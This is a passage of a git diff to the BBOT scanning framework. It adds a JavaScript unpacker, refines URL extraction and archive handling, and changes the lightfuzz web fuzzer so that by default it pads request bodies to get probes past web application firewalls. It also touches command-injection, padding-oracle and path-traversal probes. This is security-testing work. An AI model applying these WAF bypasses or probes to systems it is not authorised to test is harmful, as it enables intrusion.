f"{event_base.scheme}://{event_base.netloc}{event_base.path}" - if not self.excavate.remove_querystring and len(event.parsed_url.query) > 0: - base_url += f"?{event.parsed_url.query}" - url = urljoin(base_url, endpoint) + if document_url is None: + # Use the effective base URL (which may differ from parsed_url for archived content) + event_base = self.excavate._event_base_url(event) + document_url = f"{event_base.scheme}://{event_base.netloc}{event_base.path}" + if not self.excavate.remove_querystring and len(event.parsed_url.query) > 0: + document_url += f"?{event.parsed_url.query}" + base_url = await self.excavate._document_base_url(event, document_url) + url = urljoin(base_url, endpoint) if endpoint else document_url try: # Validate the URL before using it @@ -1206,6 +1302,7 @@ class URLExtractor(ExcavateRule): tag_attribute_regex = bbot_regexes.tag_attribute_regex async def process(self, yara_results, event, yara_rule_settings, discovery_context): + source_url = None for identifier, results in yara_results.items(): urls_found = 0 final_url = "" @@ -1228,7 +1325,8 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte ) continue unescaped_url = html.unescape(m.group(1)) - source_url = event.parsed_url.geturl() + if source_url is None: + source_url = await self.excavate._document_base_url(event, event.parsed_url.geturl()) final_url = urldefrag(urljoin(source_url, unescaped_url)).url if not await self.helpers.re.search(self.full_url_regex_strict, final_url): self.excavate.debug( @@ -1278,6 +1376,9 @@ def __init__(self, excavate): super().__init__(excavate) self.yara_rules.update(excavate.scan.dns_yara_rules_uncompiled) + def match_strings(self, string): + return self.excavate.scan.yara_hostnames(string.instances) + async def process(self, yara_results, event, yara_rule_settings, discovery_context): for identifier in yara_results.keys(): for domain_str in yara_results[identifier]: @@ -1372,11 +1473,11 @@ async def setup(self): self.yara_preprocess_dict = {} self.custom_yara_imports = [] - modules_WEB_PARAMETER = [ - module_name - for module_name, module in self.scan.modules.items() - if "WEB_PARAMETER" in module.watched_events - ] + # snapshot: setup_modules() pops failed modules from scan.modules while + # these setups run concurrently, so iterating the live dict can raise + scan_modules = list(self.scan.modules.values()) + + modules_WEB_PARAMETER = [module.name for module in scan_modules if "WEB_PARAMETER" in module.watched_events] self.parameter_extraction = bool(modules_WEB_PARAMETER) self.speculate_params = self.config.get("speculate_params", False) @@ -1384,8 +1485,9 @@ async def setup(self): # Bounded slice of the response body searched for a form's body, anchored # at each YARA form-opening match. Caps worst-case Python re work per form. self.max_form_bytes = int(self.config.get("max_form_bytes", 262144)) + self.long_redirect_threshold = int(self.config.get("long_redirect_threshold", 2048)) - for module in self.scan.modules.values(): + for module in scan_modules: if not str(module).startswith("_"): ExcavateRules = find_subclasses(module, ExcavateRule) for e in ExcavateRules: @@ -1556,6 +1658,8 @@ async def handle_event(self, event, **kwargs): if body == "" and headers == {}: return + await self.check_long_redirect(event, body) + self.assigned_cookies = {} content_type = None reported_location_header = False diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index 4c2574c08f..f530d7d4f3 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -172,6 +172,10 @@ async def handle_event(self, event): event_is_url = event.type == "URL" event_has_url = not event.type.startswith("URL") and isinstance(event.data, dict) and "url" in event.data event_tags = ["blasthttp-safe"] if event.type in ("CODE_REPOSITORY", "SOCIAL") else [] + # a response whose URL isn't already in its history (e.g. a lightfuzz baseline) was reached via + # a link on another page, so it costs a spider hop like any extracted link + if event.type == "HTTP_RESPONSE": + event_tags.append("spider-danger") if event_is_url or event_has_url: url = event.url # only emit the url if it's not already in the event's history diff --git a/bbot/modules/internal/unarchive.py b/bbot/modules/internal/unarchive.py index eb1d200a9b..4935c76688 100644 --- a/bbot/modules/internal/unarchive.py +++ b/bbot/modules/internal/unarchive.py @@ -87,6 +87,11 @@ async def extract_file(self, path, output_dir, budget=None): command = [s.format(filename=path, extract_dir=output_dir) for s in cmd_list] try: await self.run_process(command, check=True) + # the listing check above depends on 7-Zip's output format, so verify what was actually written + if any(p.is_symlink() for p in output_dir.rglob("*")): + self.helpers.rm_rf(output_dir) + self.warning(f"Archive {path} extracted a symlink, removing {output_dir}") + return False extracted_size = sum(f.stat().st_size for f in output_dir.rglob("*") if f.is_file()) budget[0] -= extracted_size if budget[0] < 0: diff --git a/bbot/modules/js_unpacker.py b/bbot/modules/js_unpacker.py new file mode 100644 index 0000000000..7233ee3a89 --- /dev/null +++ b/bbot/modules/js_unpacker.py @@ -0,0 +1,417 @@ +import json +import regex as re +from hashlib import md5, sha256 +from urllib.parse import urljoin + +import mmh3 +import yara + +from bbot.modules.base import BaseModule + + +class BaseUnpacker: + name = "base" + yara_rule = "" + + def __init__(self, module): + self.module = module + self.helpers = module.helpers + + async def unpack(self, event, match): + raise NotImplementedError + + async def emit_unlocked(self, event, body): + """Re-emit an HTTP_RESPONSE with unpacked body so excavate can extract from it.""" + data = dict(event.data) + data["body"] = body + # recompute body hashes so downstream content-dedup doesn't collapse this + # against the original response + body_bytes = body.encode("utf-8", errors="replace") if isinstance(body, str) else body + old_hash = data.get("hash") or {} + data["hash"] = { + **old_hash, + "body_md5": md5(body_bytes).hexdigest(), + "body_mmh3": mmh3.hash(body_bytes), + "body_sha256": sha256(body_bytes).hexdigest(), + } + unpacked = self.module.make_event( + data, + "HTTP_RESPONSE", + parent=event.parent, + tags=["js-unpacked"], + context=f"{{module}} unpacked {self.name} JavaScript from {{event.type}}", + ) + if unpacked is None: + return + # distinct id from the original response so per-module dedup doesn't drop this + unpacked.reemit_source = "js_unpacker" + await self.module.emit_event(unpacked) + + +class SourceMapUnpacker(BaseUnpacker): + name = "source-map" + yara_rule = """ +rule source_map +{ + strings: + $a = "sourceMappingURL=" + condition: + any of them +} +""" + _url_regex = re.compile(r"[/*][#@]\s*sourceMappingURL=(\S+)") + + async def unpack(self, event, match): + body = event.body + m = await self.helpers.re.search(self._url_regex, body) + if not m: + return + map_ref = m.group(1) + + # data: URI + if map_ref.startswith("data:"): + parts = map_ref.split(",", 1) + if len(parts) == 2: + import base64 + + try: + map_json = base64.b64decode(parts[1]).decode("utf-8", errors="replace") + except Exception: + return + else: + return + else: + base_url = event.data.get("url", "") + map_url = urljoin(base_url, map_ref) + # maps often live on third-party CDNs, so don't require scope, but honor the blacklist + if self.module.scan.blacklisted(map_url): + self.module.debug(f"Skipping blacklisted source map {map_url}") + return + r = await self.helpers.request(map_url) + if not r or r.status_code != 200: + return + map_json = r.text + + parsed = await self.helpers.run_in_executor_cpu(self._parse_source_map, map_json) + if parsed is None: + return + num_sources, num_files, combined = parsed + + url = event.data.get("url", "unknown") + source_url = map_url if not map_ref.startswith("data:") else url + await self.module.emit_event( + { + "host": str(event.host), + "url": source_url, + "name": "Exposed source map", + "description": f"Source map with {num_files} source files exposed ({num_sources} total entries)", + "severity": "LOW", + "confidence": "CONFIRMED", + }, + "FINDING", + parent=event, + context="{module} discovered an exposed source map at {event.data[url]}", + ) + await self.emit_unlocked(event, combined) + + @staticmethod + def _parse_source_map(map_json): + """Parse the map and join its embedded sources. CPU-bound; runs off the event loop.""" + try: + source_map = json.loads(map_json) + except (json.JSONDecodeError, ValueError): + return None + non_empty = [c for c in source_map.get("sourcesContent", []) if c and c.strip()] + if not non_empty: + return None + return len(source_map.get("sources", [])), len(non_empty), "\n".join(non_empty) + + +class DeanEdwardsUnpacker(BaseUnpacker): + name = "dean-edwards" + yara_rule = """ +rule dean_edwards_packer +{ + strings: + $a = "eval(function(p,a,c,k,e," + condition: + any of them +} +""" + _extract_regex = re.compile( + r"eval\s*\(\s*function\s*\(\s*p\s*,\s*a\s*,\s*c\s*,\s*k\s*,\s*e\s*,\s*\w\s*\)" + r".*?\}\s*\(\s*'(.*?)'\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*'(.*?)'\s*\.split\s*\(\s*'\|'\s*\)", + re.DOTALL, + ) + + async def unpack(self, event, match): + result = await self.helpers.run_in_executor_cpu(self._decode, event.body) + if result: + await self.emit_unlocked(event, result) + + @classmethod + def _decode(cls, body): + """Reverse the packer's base-N keyword substitution. CPU-bound; runs off the event loop.""" + m = cls._extract_regex.search(body) + if not m: + return "" + + payload, radix, count, keywords_str = m.group(1), int(m.group(2)), int(m.group(3)), m.group(4) + keywords = keywords_str.split("|") + + def base_n(value, base): + chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" + if value < base: + return chars[value] + return base_n(value // base, base) + chars[value % base] + + lookup = {} + # count comes from the page, so never iterate past the keywords we actually have + for i in range(min(count, len(keywords))): + key = base_n(i, radix) + if keywords[i]: + lookup[key] = keywords[i] + + def replacer(m): + word = m.group(0) + return lookup.get(word, word) + + result = re.sub(r"\b\w+\b", replacer, payload) + result = result.encode("utf-8").decode("unicode_escape", errors="replace") + return result if result.strip() else "" + + +class ObfuscatorIOUnpacker(BaseUnpacker): + name = "obfuscator-io" + yara_rule = """ +rule obfuscator_io +{ + strings: + $a = /var _0x[a-f0-9]{4,6}\\s*=\\s*\\[/ + condition: + any of them +} +""" + _array_regex = re.compile(r"var\s+(_0x[a-f0-9]+)\s*=\s*\[(.*?)\];", re.DOTALL) + + async def unpack(self, event, match): + result = await self.helpers.run_in_executor_cpu(self._deobfuscate, event.body) + if result: + await self.emit_unlocked(event, result) + + @classmethod + def _deobfuscate(cls, body): + """Inline the string-array lookups back into the source. CPU-bound; runs off the event loop.""" + arr_match = cls._array_regex.search(body) + if not arr_match: + return "" + + arr_name = arr_match.group(1) + string_array = re.findall(r"'([^']*)'", arr_match.group(2)) + + # find and apply rotation + rot_pattern = ( + r"\(function\s*\(\s*\w+\s*,\s*\w+\s*\)\s*\{.*?push.*?shift.*?\}\s*\(\s*" + + re.escape(arr_name) + + r"\s*,\s*(0x[a-f0-9]+|\d+)\s*\)" + ) + rot_match = re.search(rot_pattern, body, re.DOTALL) + if rot_match: + amount_str = rot_match.group(1) + amount = int(amount_str, 16) if amount_str.startswith("0x") else int(amount_str) + # rotation is cyclic, so reduce the page-supplied amount before applying it + if string_array: + amount %= len(string_array) + string_array = string_array[amount:] + string_array[:amount] + + # find accessor function name + accessor_pattern = ( + r"var\s+(_0x[a-f0-9]+)\s*=\s*function\s*\(\s*\w+\s*,\s*\w+\s*\)\s*\{" + r"[^}]*" + re.escape(arr_name) + r"\s*\[" + ) + accessor_match = re.search(accessor_pattern, body) + if not accessor_match: + return "" + + accessor_name = accessor_match.group(1) + + def replace_accessor(m): + idx_str = m.group(1) + idx = int(idx_str, 16) if idx_str.startswith("0x") else int(idx_str) + if 0 <= idx < len(string_array): + return f"'{string_array[idx]}'" + return m.group(0) + + result = re.sub( + re.escape(accessor_name) + r"\(\s*'(0x[a-f0-9]+|\d+)'\s*\)", + replace_accessor, + body, + ) + return result if result != body else "" + + +class NextJSUnpacker(BaseUnpacker): + name = "nextjs" + yara_rule = """ +rule nextjs_manifest +{ + strings: + $a = "self.__BUILD_MANIFEST" + $b = "__NEXT_DATA__" + condition: + any of them +} +""" + _nextdata_regex = re.compile(r']*>(.*?)', re.DOTALL) + _route_regex = re.compile(r'"(/[^"]*)"') + _chunk_regex = re.compile(r'"(static/chunks/[^"]*)"') + + async def unpack(self, event, match): + body = event.body + base_url = event.data.get("url", "") + + # __NEXT_DATA__ in HTML: extract buildId, emit _buildManifest.js URL + nd_match = await self.helpers.re.search(self._nextdata_regex, body) + if nd_match: + try: + next_data = json.loads(nd_match.group(1)) + except (json.JSONDecodeError, ValueError): + return + build_id = next_data.get("buildId") + if build_id: + manifest_path = f"/_next/static/{build_id}/_buildManifest.js" + manifest_url = urljoin(base_url, manifest_path) + await self.module.emit_event( + manifest_url, + "URL_UNVERIFIED", + parent=event, + tags=["js-unpacked"], + context="{module} extracted Next.js buildId and discovered {event.type}: {event.data}", + ) + return + + # _buildManifest.js: extract routes and chunk paths + if "self.__BUILD_MANIFEST" not in body: + return + + routes = set(await self.helpers.re.findall(self._route_regex, body)) + chunks = set(await self.helpers.re.findall(self._chunk_regex, body)) + + for route in routes: + if route.startswith("/_") or route == "/": + continue + route_url = urljoin(base_url, route) + await self.module.emit_event( + route_url, + "URL_UNVERIFIED", + parent=event, + tags=["js-unpacked"], + context="{module} extracted Next.js route {event.type}: {event.data}", + ) + + for chunk in chunks: + chunk_url = urljoin(base_url, f"/_next/{chunk}") + await self.module.emit_event( + chunk_url, + "URL_UNVERIFIED", + parent=event, + tags=["js-unpacked"], + context="{module} extracted Next.js chunk {event.type}: {event.data}", + ) + + +class WebpackUnpacker(BaseUnpacker): + name = "webpack" + yara_rule = """ +rule webpack_bundle +{ + strings: + $a = "webpackJsonp" + $b = "webpackChunk" + $c = "__webpack_require__" + condition: + any of them +} +""" + _string_regex = re.compile(r"""(?:"([^"\\]{2,}(?:\\.[^"\\]*)*)"|'([^'\\]{2,}(?:\\.[^'\\]*)*)')""") + _noise = frozenset({"use strict", "object", "function", "undefined", "string", "number", "boolean"}) + + async def unpack(self, event, match): + combined = await self.helpers.run_in_executor_cpu(self._extract_strings, event.body) + if combined: + await self.emit_unlocked(event, combined) + + @classmethod + def _extract_strings(cls, body): + """Flatten the bundle's string literals. CPU-bound; runs off the event loop.""" + strings = [] + for m in cls._string_regex.finditer(body): + s = m.group(1) or m.group(2) + if s and s not in cls._noise and not s.startswith("__"): + strings.append(s) + return "\n".join(strings) + + +class js_unpacker(BaseModule): + watched_events = ["HTTP_RESPONSE"] + produced_events = ["HTTP_RESPONSE", "URL_UNVERIFIED", "FINDING"] + flags = ["active", "safe", "web"] + meta = { + "description": "Detect and unpack JavaScript obfuscation/packing frameworks", + "created_date": "2026-06-05", + "author": "@liquidsec", + } + _module_threads = 4 + + unpacker_classes = [ + SourceMapUnpacker, + DeanEdwardsUnpacker, + ObfuscatorIOUnpacker, + NextJSUnpacker, + WebpackUnpacker, + ] + + async def setup(self): + self.unpackers_by_rule = {} + self.detections = [] + combined_rules = [] + for cls in self.unpacker_classes: + unpacker = cls(self) + rule_name = self._extract_rule_name(unpacker.yara_rule) + self.unpackers_by_rule[rule_name] = unpacker + combined_rules.append(unpacker.yara_rule) + self.yara_rules = yara.compile(source="\n".join(combined_rules)) + return True + + @staticmethod + def _extract_rule_name(yara_source): + for line in yara_source.splitlines(): + line = line.strip() + if line.startswith("rule "): + return line.split()[1].rstrip("{").strip() + raise ValueError(f"No rule name found in YARA source: {yara_source[:80]}") + + async def filter_event(self, event): + if not event.body: + return False, "no response body" + content_type = event.data.get("content_type", "") + if not any(t in content_type for t in ("javascript", "text/", "json", "xml")): + return False, f"non-text content type: {content_type}" + return True + + async def handle_event(self, event): + body = event.body + url = event.data.get("url", "unknown") + matches = await self.helpers.run_in_executor_cpu(self.yara_rules.match, data=body) + if not matches: + return + for match in matches: + unpacker = self.unpackers_by_rule.get(match.rule) + if unpacker is None: + continue + self.verbose(f"Detected {unpacker.name} in {url}") + self.detections.append((unpacker.name, url)) + try: + await unpacker.unpack(event, match) + except Exception as e: + self.warning(f"{unpacker.name} unpacker error on {url}: {e}") diff --git a/bbot/modules/legba.py b/bbot/modules/legba.py index 221229641e..195e12fd6a 100644 --- a/bbot/modules/legba.py +++ b/bbot/modules/legba.py @@ -3,7 +3,7 @@ from pathlib import Path from bbot.errors import WordlistError from bbot.modules.base import BaseModule -from bbot.core.config.models import BaseModuleConfig, Field +from bbot.core.config.models import BaseModuleConfig, Field, VersionStr # key: value: # List with `legba -L` @@ -61,7 +61,7 @@ class Config(BaseModuleConfig): ) concurrency: int = Field(3, description="Number of concurrent workers, gets overridden for SSH") rate_limit: int = Field(3, description="Limit the number of requests per second, gets overridden for SSH") - version: str = Field("1.1.1", description="legba version") + version: VersionStr = Field("1.1.1", description="legba version") deps_ansible = [ { diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index a2a3b71c5e..71d2749604 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -1,12 +1,16 @@ import importlib +from typing import Literal from urllib.parse import urlparse from bbot.modules.base import BaseModule from bbot.core.helpers.async_helpers import NamedLock from bbot.errors import InteractshError +from pydantic import field_validator + from bbot.core.config.models import BaseModuleConfig, Field from bbot.core.helpers.misc import get_waf_strings +from bbot.core.helpers.nowafpls import BypassResult from bbot.core.helpers.web.response_event import response_to_event_dict from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz from bbot.modules.lightfuzz.submodules.serial import serial as _serial_submodule @@ -34,13 +38,30 @@ class Config(BaseModuleConfig): try_get_as_post: bool = Field( False, description="For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing)." ) - avoid_wafs: bool = Field( - True, description="Avoid running against confirmed WAFs, which are likely to block lightfuzz requests" + avoid_wafs: Literal["always", "never", "try_bypasses"] = Field( + "try_bypasses", + description=( + "How to handle WAF-tagged targets. 'always' skips them entirely; 'never' fuzzes them " + "raw; 'try_bypasses' (default) asks nowafpls whether body padding gets through, " + "and fuzzes with padding when it does." + ), ) emit_baseline_responses: bool = Field( True, description="Emit canonical baseline responses as HTTP_RESPONSE events so excavate can mine them for new params/URLs.", ) + max_baseline_generations: int = Field( + 10, + description="Stop emitting baseline responses once a parameter is this many lightfuzz generations deep, bounding excavate feedback loops.", + ) + + @field_validator("avoid_wafs", mode="before") + @classmethod + def _normalize_avoid_wafs(cls, v): + # also accept the boolean form: True skipped WAF-tagged targets, False fuzzed them raw + if isinstance(v, bool): + return "always" if v else "never" + return v.strip().lower() if isinstance(v, str) else v meta = { "description": "BBOT's DAST module — lightly fuzz web parameters discovered during recon for common vulnerability classes", @@ -62,12 +83,20 @@ async def setup(self): self.try_get_as_post = self.config.get("try_get_as_post", False) self.enabled_submodules = self.config.get("enabled_submodules") self.interactsh_disable = self.scan.config.get("interactsh_disable", False) - self.avoid_wafs = self.scan.config.get("avoid_wafs", True) + avoid_wafs = self.config.get("avoid_wafs", "try_bypasses") + if isinstance(avoid_wafs, bool): + avoid_wafs = "always" if avoid_wafs else "never" + self.avoid_wafs = avoid_wafs.strip().lower() self.emit_baseline_responses = self.config.get("emit_baseline_responses", True) + self.max_baseline_generations = self.config.get("max_baseline_generations", 10) + self._baseline_generation_cap_hit = False self.submodules = {} # Per-event baseline cache so submodules with identical request signatures share one HttpCompare. self._baseline_cache = {} + # Scratch space for submodules needing state that outlives a single WEB_PARAMETER, keyed by submodule name. + self.submodule_state = {} + # Cross-event baseline_probe response cache: sibling fields of the same form produce identical requests. self._baseline_probe_response_cache = {} self._baseline_probe_response_cache_max = 200 @@ -186,12 +215,42 @@ def store_cached_baseline(self, event, signature, http_compare): """Store an HttpCompare in the per-event baseline cache.""" self._baseline_cache.setdefault(event.id, {})[signature] = http_compare + def baseline_generations(self, event): + """How many lightfuzz-emitted events are already in this event's ancestry. + + Every baseline response we emit is mined by excavate, which hands the parameters it + finds back to us. Pages that vary their form on each load (rotating CSRF tokens, + honeypot fields) make each round look new, so the chain is bounded by counting it. + """ + count = 0 + e = event + while 1: + parent = e.parent + # `is`, not `==`: Event equality is hash-of-id, so two distinct events carrying + # equal data would end the walk and undercount everything above them + if parent is None or parent is e: + break + if getattr(parent.module, "name", "") == self.name: + count += 1 + if count >= self.max_baseline_generations: + break + e = parent + return count + async def emit_baseline_response(self, response, event, method): """Emit a baseline blasthttp Response as an HTTP_RESPONSE event so excavate can mine post-submit pages.""" if not self.emit_baseline_responses: return if response is None: return + if self.baseline_generations(event) >= self.max_baseline_generations: + if not self._baseline_generation_cap_hit: + self._baseline_generation_cap_hit = True + self.verbose( + f"Reached max_baseline_generations ({self.max_baseline_generations}) on {event.host}; " + "no longer emitting baseline responses for parameters nested this deep" + ) + return try: parsed = urlparse(str(response.url)) url_input = parsed.netloc or str(response.url) @@ -257,10 +316,12 @@ async def run_submodule(self, submodule, event): event_data["severity"] = r["severity"] event_data["confidence"] = r["confidence"] event_data["name"] = f"Lightfuzz - {r['name']}" + tags = ["used-nowafpls"] if submodule_instance.used_nowafpls else None await self.emit_event( event_data, "FINDING", event, + tags=tags, ) async def handle_event(self, event): @@ -299,6 +360,10 @@ async def handle_event(self, event): try: original_type = event.data["type"] + # On WAF-tagged hosts (try_bypasses mode), only body-carrying probes can be padded, + # so skip the native GET-side pass and try_post_as_get whatever the probe verdict. + in_bypass_mode = "waf" in event.tags and self.avoid_wafs == "try_bypasses" + # Fire the canonical baseline once per WEB_PARAMETER so excavate can mine the # post-submit page; later submodule baseline_probes hit the response cache. if self.emit_baseline_responses: @@ -308,21 +373,23 @@ async def handle_event(self, event): except Exception as e: self.debug(f"module-level baseline_probe raised: {e}") + skip_native_pass = in_bypass_mode and original_type not in ("POSTPARAM", "BODYJSON") + # Normal fuzzing pass (skipped for POSTPARAM if disable_post is True) - if not (self.disable_post and original_type == "POSTPARAM"): + if not skip_native_pass and not (self.disable_post and original_type == "POSTPARAM"): for submodule_name, submodule in self.submodules.items(): self.debug(f"Starting {submodule_name} fuzz()") await self.run_submodule(submodule, event) - # Additional pass: try POSTPARAM as GETPARAM - if self.try_post_as_get and original_type == "POSTPARAM": + # Additional pass: try POSTPARAM as GETPARAM (would fire a GET — skip on WAF bypass) + if not in_bypass_mode and self.try_post_as_get and original_type == "POSTPARAM": event.data["type"] = "GETPARAM" event.data["converted_from_post"] = True for submodule_name, submodule in self.submodules.items(): self.debug(f"Starting {submodule_name} fuzz() (try_post_as_get)") await self.run_submodule(submodule, event) - # Additional pass: try GETPARAM as POSTPARAM + # Additional pass: try GETPARAM as POSTPARAM (fires a POST — padded on WAF bypass) if self.try_get_as_post and original_type == "GETPARAM": event.data["type"] = "POSTPARAM" event.data["converted_from_get"] = True @@ -351,9 +418,9 @@ async def cleanup(self): self.warning(f"Interactsh failure: {e}") async def finish(self): - if self.interactsh_instance: - self.debug("finish(): sleeping 5s before final interactsh poll") - await self.helpers.sleep(5) + if self.interactsh_instance and self.interactsh_subdomain_tags: + self.debug("finish(): settling before final interactsh poll") + await self.interactsh_instance.settle() try: results = await self.interactsh_instance.poll() self.debug(f"finish(): interactsh poll returned {len(results)} interaction(s)") @@ -365,17 +432,43 @@ async def finish(self): except InteractshError as e: self.debug(f"Error in interact.sh: {e}") + def _post_capable(self, event): + """Would this event fire any POST-style probe? Padding is body-only, so GET/COOKIE/HEADER + events on a WAF-tagged host have no bypass to try.""" + if event.type != "WEB_PARAMETER": + return False + ptype = event.data.get("type", "") + return ptype in ("POSTPARAM", "BODYJSON") or (ptype == "GETPARAM" and self.try_get_as_post) + async def filter_event(self, event): if await self._is_http_wildcard_host(event) is True: return False, "host is an HTTP wildcard responder" - # Unless configured specifically to do so, avoid running against confirmed WAFs - if self.avoid_wafs and "waf" in event.tags: - # Use parsed_url.geturl() for both URL and WEB_PARAMETER events - parsed_url = getattr(event, "parsed_url", None) - url = parsed_url.geturl() if parsed_url else "unknown" - self.debug(f"Skipping {event.type} because it is likely to be blocked by a WAF. URL: {url}") - return False + if "waf" in event.tags: + if self.avoid_wafs == "always": + parsed_url = getattr(event, "parsed_url", None) + url = parsed_url.geturl() if parsed_url else "unknown" + self.debug(f"Skipping {event.type} (avoid_wafs=always). URL: {url}") + return False + if self.avoid_wafs == "try_bypasses": + # nowafpls confirms the WAF blocks an unpadded payload before trusting that padding + # gets one through; without an observed block, a padded pass proves nothing. + result = await self.helpers.nowafpls.is_bypassable(event) + if result.status == BypassResult.STATUS_BLOCKED: + return False, f"WAF blocked the payload and body padding did not help ({result.summary})" + if result.status == BypassResult.STATUS_TOO_LARGE: + # the WAF held and the origin caps body size, so padding is not available here + return False, f"WAF blocked the payload and the origin rejected every pad size ({result.summary})" + if result.status == BypassResult.STATUS_ERROR: + # no verdict, which is a different thing from a WAF that held; say so instead of + # dropping the event with a generic reason + return False, f"WAF bypass probe was inconclusive ({result.summary})" + if result.status == BypassResult.STATUS_BYPASSED and not self._post_capable(event): + # padding is body-only, so a GET/COOKIE/HEADER probe has no bypass to apply + return False, "WAF is bypassable via body padding, but this event has no POST-style probe" + # STATUS_NO_INTERFERENCE: the POST body wasn't gated, so POST-style probes run unpadded. + # It says nothing about other channels, so handle_event still skips GET/COOKIE/HEADER. + # avoid_wafs == "never": fall through and fuzz raw # Skip WEB_PARAMETERs on static-asset URLs (pdf, doc, xml, etc.) — fuzzing them is pointless if event.type == "WEB_PARAMETER": diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index cf07d30459..0eeb4d229b 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -15,6 +15,9 @@ def __init__(self, lightfuzz, event): self.event = event self.results = [] self.parameter_name = self.event.data["name"] + # Flipped True when prepare_request pads a probe body via nowafpls. Downstream findings + # get tagged ``used-nowafpls`` so consumers can distinguish bypass-mediated results. + self.used_nowafpls = False def register_interactsh_tag( self, *, name, description, severity, confidence, severity_dns=None, confidence_dns=None @@ -101,7 +104,7 @@ def build_query_string(self, probe, parameter_name, additional_params=None): params[parameter_name] = probe return self.lightfuzz.helpers.add_get_params(self.event.url, params, encode=False).geturl() - def prepare_request( + async def prepare_request( self, event_type, probe, @@ -162,6 +165,13 @@ def prepare_request( data = {parameter_name: probe} if additional_params: data.update(additional_params) + if "waf" in self.event.tags and self.lightfuzz.avoid_wafs != "always": + # pad_json prepends the junk field so the WAF's inspection buffer fills + # before it reaches the payload, and no-ops when padding won't help + padded = await self.lightfuzz.helpers.nowafpls.pad_json(self.event, data) + if padded is not data: + data = padded + self.used_nowafpls = True if event_type == "BODYJSON": request_params = { "method": "POST", @@ -188,7 +198,7 @@ def prepare_request( return request_params - def compare_baseline( + async def compare_baseline( self, event_type, probe, @@ -211,7 +221,7 @@ def compare_baseline( f"{k}{parameter_name_suffix_additional_params}": v for k, v in additional_params.items() } - request_params = self.prepare_request( + request_params = await self.prepare_request( event_type, probe, cookies, @@ -260,7 +270,7 @@ async def baseline_probe(self, cookies, emit_http_response=True): async def _baseline_probe_once(self, probe_value, cookies, additional_params, emit_http_response): """Fire one baseline request with ``probe_value`` for the fuzzed parameter and the captured sibling values, emit the response (subject to caching).""" - request_params = self.prepare_request( + request_params = await self.prepare_request( self.event.data.get("type", "GETPARAM"), probe_value, cookies, @@ -310,7 +320,7 @@ async def compare_probe( } # Prepare request parameters - request_params = self.prepare_request( + request_params = await self.prepare_request( event_type, probe, cookies, @@ -335,7 +345,7 @@ async def standard_probe( allow_redirects=False, skip_urlencoding=False, ): - request_params = self.prepare_request( + request_params = await self.prepare_request( event_type, probe, cookies, diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index 05e753d965..8a3735e0d7 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -57,7 +57,7 @@ async def fuzz(self): if int(arith_a) and int(arith_b) and arith_a[0] != "0" and arith_b[0] != "0": break arith_canary = str(int(arith_a) * int(arith_b)) - http_compare = self.compare_baseline( + http_compare = await self.compare_baseline( self.event.data["type"], probe_value, cookies ) # Initialize the http_compare object and establish a baseline HTTP response diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 085589c1d5..554a0217af 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -466,7 +466,7 @@ async def cbc_bitflip(self, probe_value, cookies): except ValueError: continue # Use probe_a as the baseline, compare probe_b against it - http_compare = self.compare_baseline(self.event.data["type"], probe_a, cookies) + http_compare = await self.compare_baseline(self.event.data["type"], probe_a, cookies) try: result = await self.compare_probe(http_compare, self.event.data["type"], probe_b, cookies) except HttpCompareError as e: @@ -527,7 +527,7 @@ async def padding_oracle_execute(self, original_data, encoding, block_size, cook baseline_probe_value = self.format_agnostic_encode( ivblock + paddingblock[:-1] + baseline_byte + datablock, encoding ) - baseline = self.compare_baseline( + baseline = await self.compare_baseline( self.event.data["type"], baseline_probe_value, cookies, @@ -567,6 +567,9 @@ async def padding_oracle_execute(self, original_data, encoding, block_size, cook if char_diffs <= 5: continue differ_count += 1 + # verdict is already fixed above this threshold; further probes cannot change it + if differ_count > block_size: + break self.debug(f"padding_oracle_execute: finished loop. differ_count={differ_count}") # A padding oracle vulnerability can produce a small number of different responses. # The correct \x01 padding byte always differs, but also, multi-byte padding values (\x02\x02, \x03\x03\x03, etc.) can also produce valid padding if the intermediate state randomly aligns. At most 'block_size' of such values are possible. @@ -648,6 +651,7 @@ async def padding_oracle(self, probe_value, cookies): "context": context, } ) + return # Report first matching block size only async def error_string_search(self, text_dict, baseline_text): """ @@ -749,7 +753,7 @@ async def fuzz(self): # Cryptographic Response Divergence Test - http_compare = self.compare_baseline(self.event.data["type"], probe_value, cookies) + http_compare = await self.compare_baseline(self.event.data["type"], probe_value, cookies) try: arbitrary_probe = await self.compare_probe(http_compare, self.event.data["type"], "AAAAAAA", cookies) # truncate_probe = await self.compare_probe( diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index b051c07682..b70eb2c2e4 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -122,7 +122,7 @@ async def fuzz(self): confirmations = 0 while iterations > 0: try: - http_compare = self.compare_baseline( + http_compare = await self.compare_baseline( self.event.data["type"], probe_value, cookies, skip_urlencoding=True ) singledot_probe = await self.compare_probe( diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 0e67bec69b..2048c80c19 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -6,6 +6,11 @@ from .base import BaseLightfuzz from bbot.errors import HttpCompareError +# enough leading bytes to break every magic header we send 